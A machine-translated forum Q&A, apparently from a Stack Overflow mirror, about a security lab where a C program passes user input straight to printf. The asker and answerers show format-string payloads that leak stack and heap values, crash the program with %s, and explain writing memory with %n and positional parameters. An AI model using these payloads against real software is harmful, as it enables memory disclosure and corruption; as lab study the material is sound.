2013-04-17 7 views
9

मैं एक प्रारूप स्ट्रिंग भेद्यता प्रयोगशाला पर काम कर रहा हूँ, जहाँ हम निम्नलिखित कोड दिया जाता है में एक सरणी के 2 तत्व को एक्सेस करना:एक प्रारूप स्ट्रिंग भेद्यता हमले

#define SECRET1 0x44 
#define SECRET2 0x55 

int main(int argc, char *argv[]) 
{ 
    char user_input[100]; 
    int *secret; 
    int int_input; 
    int a, b, c, d; /* other variables, not used here.*/ 

    /* The secret value is stored on the heap */ 
    secret = (int *) malloc(2*sizeof(int)); 

    /* getting the secret */ 
    secret[0] = SECRET1; 
    secret[1] = SECRET2; 

    printf("The variable secret's address is 0x%.8x (on stack)\n", &secret); 
    printf("The variable secret's value is 0x%.8x (on heap)\n", secret); 
    printf("secret[0]'s address is 0x%.8x (on heap)\n", &secret[0]); 
    printf("secret[1]'s address is 0x%.8x (on heap)\n", &secret[1]); 

    printf("Please enter a decimal integer\n"); 
    scanf("%d", &int_input); /* getting an input from user */ 
    printf("Please enter a string\n"); 
    scanf("%s", user_input); /* getting a string from user */ 

    /* vulnerable place */ 
    printf(user_input); 
    printf("\n"); 

    /* Verify whether your attack is successful */ 
    printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2); 
    printf("The new secrets:  0x%x -- 0x%x\n", secret[0], secret[1]); 
    return 0; 
    } 

हम संशोधित करने के लिए नहीं करना पड़ेगा बिल्कुल कोड केवल इनपुट का उपयोग करके, हमारे पास 4 लक्ष्य हैं: प्रोग्राम को क्रैश करें, गुप्त पर मूल्य प्रिंट करें [1], गुप्त [1] पर मान संशोधित करें, और पूर्व निर्धारित मान पर [1] के मान को संशोधित करें।

नमूना उत्पादन मैं मिलता है:

The variable secret's address is 0xbfffe7cc (on stack) 
The variable secret's value is -x0804a008 (on heap) 
secret[0]'s address is 0x0804a008 (on heap) 
secret[1]'s address is 0x0804a00c (on heap) 
Please enter a decimal integer 
65535 
Please enter a string 
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x. 
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025 

तो, रों 8 "08x%" दर्ज करके, मैं गुप्त 4 के पते के प्रिंट, तो मैं ints एक, ख, ग के पते प्रिंट, और डी - लेकिन जैसा कि मैंने उन्हें कभी मूल्य नहीं दिया है, वे कहीं भी इंगित नहीं करते हैं और बस 0 प्रदर्शित करते हैं। उसके बाद दशमलव I इनपुट है, जिसे चुना गया ताकि 'ffff' स्पष्ट रूप से दिखाई दे। अगला गुप्त [0] का पता आता है, तो मैं प्रोग्राम में संग्रहीत अन्य मूल्यों में मिलता हूं।

यदि मैं AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x. इनपुट करना चाहता था, तो .0804a008 के बाद .41414141 होगा, क्योंकि स्ट्रिंग इनपुट से ए को वहां संग्रहित किया जाएगा।

प्रोग्राम को क्रैश करना बहुत आसान है: स्ट्रिंग इनपुट पर पर्याप्त% s segfault का कारण बनता है। अब मुझे गुप्त [1] पर मूल्य पढ़ने की जरूरत है, और मैं पूरी तरह से खो गया हूं। मैंने स्ट्रिंग पर किसी भी तरह से स्ट्रिंग को डालने की कोशिश करने की कोशिश की, जैसे कि \xd0\xe7\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%s, लेकिन पता कहीं भी धक्का नहीं दे रहा है और मैं सिर्फ गुप्त [0] प्रिंट करता हूं (जो, उत्सुकता के लिए, 'डी' है)। मैंने सभी प्रकार के पते की कोशिश की है, लेकिन थोड़ी देर के बाद मुझे एहसास हुआ कि मैं बस उन सभी को एक स्ट्रिंग के रूप में संग्रहित कर रहा था जहां उन ए ने पहले दिखाया था। उन्हें हेक्स या कुछ भी परिवर्तित नहीं किया जा रहा है।

मैंने एसए और अन्य स्थानों पर इस कोड के बारे में बहुत सी चर्चा देखी है, लेकिन मुझे अभी तक कोई भी इस बारे में बात नहीं कर रहा है कि आप रहस्यों को कैसे प्राप्त करते हैं [1]।

किसी भी मदद की सराहना की जाएगी।

उत्तर

4

गुप्त पहुंचने के लिए [1] आपको इसे पूर्णांक इनपुट के रूप में दर्ज करना होगा।

Please enter a decimal integer 
73740 
Please enter a string 
%08x.%08x.%08x.%08x.%08x.%08x.%s 
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U 
+0

हाँ, यह वही है जो मैं याद कर रहा था। इसे खोजने के बाद कुल बेवकूफ की तरह महसूस किया। धन्यवाद! – Max

3

चाल उपयोगकर्ता द्वारा निर्दिष्ट प्रारूप स्ट्रिंग में %n विनिर्देशक का उपयोग करना है। %n अब तक लिखे गए बाइट्स की संख्या लेने के लिए कहता है और उन्हें अगले तर्क द्वारा इंगित पते पर संग्रहीत करता है। जब आप printf पर पर्याप्त तर्क प्रदान नहीं करते हैं, तो वह पता जो लिखता है वह है जो स्टैक पर अगला होने वाला होता है। यदि आप उस पते का शोषण कर सकते हैं जो आप चाहते हैं, तो आप स्मृति में कहीं भी 4-बाइट पूर्णांक लिख सकते हैं।

// Normal usage: count receives the value 14, since 14 bytes were written when 
// the %n was encountered 
int count; 
printf("Hello, world!\n%n", &count); 

// UNDEFINED BEHAVIOR: The value 14 will get written to some unknown location in 
// memory 
printf("Hello, world!\n%n"); 
+0

यह सही है, लेकिन आप मेरे सामने थोड़ा आगे थे: मैं बस उन मूल्यों को खोजने की कोशिश कर रहा था जो ढेर पर नहीं थे। एक बार मान उपलब्ध होने के बाद, उन्हें संशोधित करना बहुत कठिन नहीं होता है। मैंने दर्दनाक स्पष्ट उत्तर खो दिया है, शायद यही कारण है कि आपने अधिक जटिल (या कम से कम अधिक रोचक) भाग को समझाया। – Max

1

आप वास्तव में प्रारूप स्ट्रिंग में ऑफ़सेट निर्दिष्ट कर सकते हैं।

उदाहरण के लिए।

$ printf "ADDRESS_IN_DECIMAL\n%%ADDRESS_OFFSET\$p_%%ADDRESS_OFFSET\$s\n" | ./vul_prog 
संबंधित मुद्दे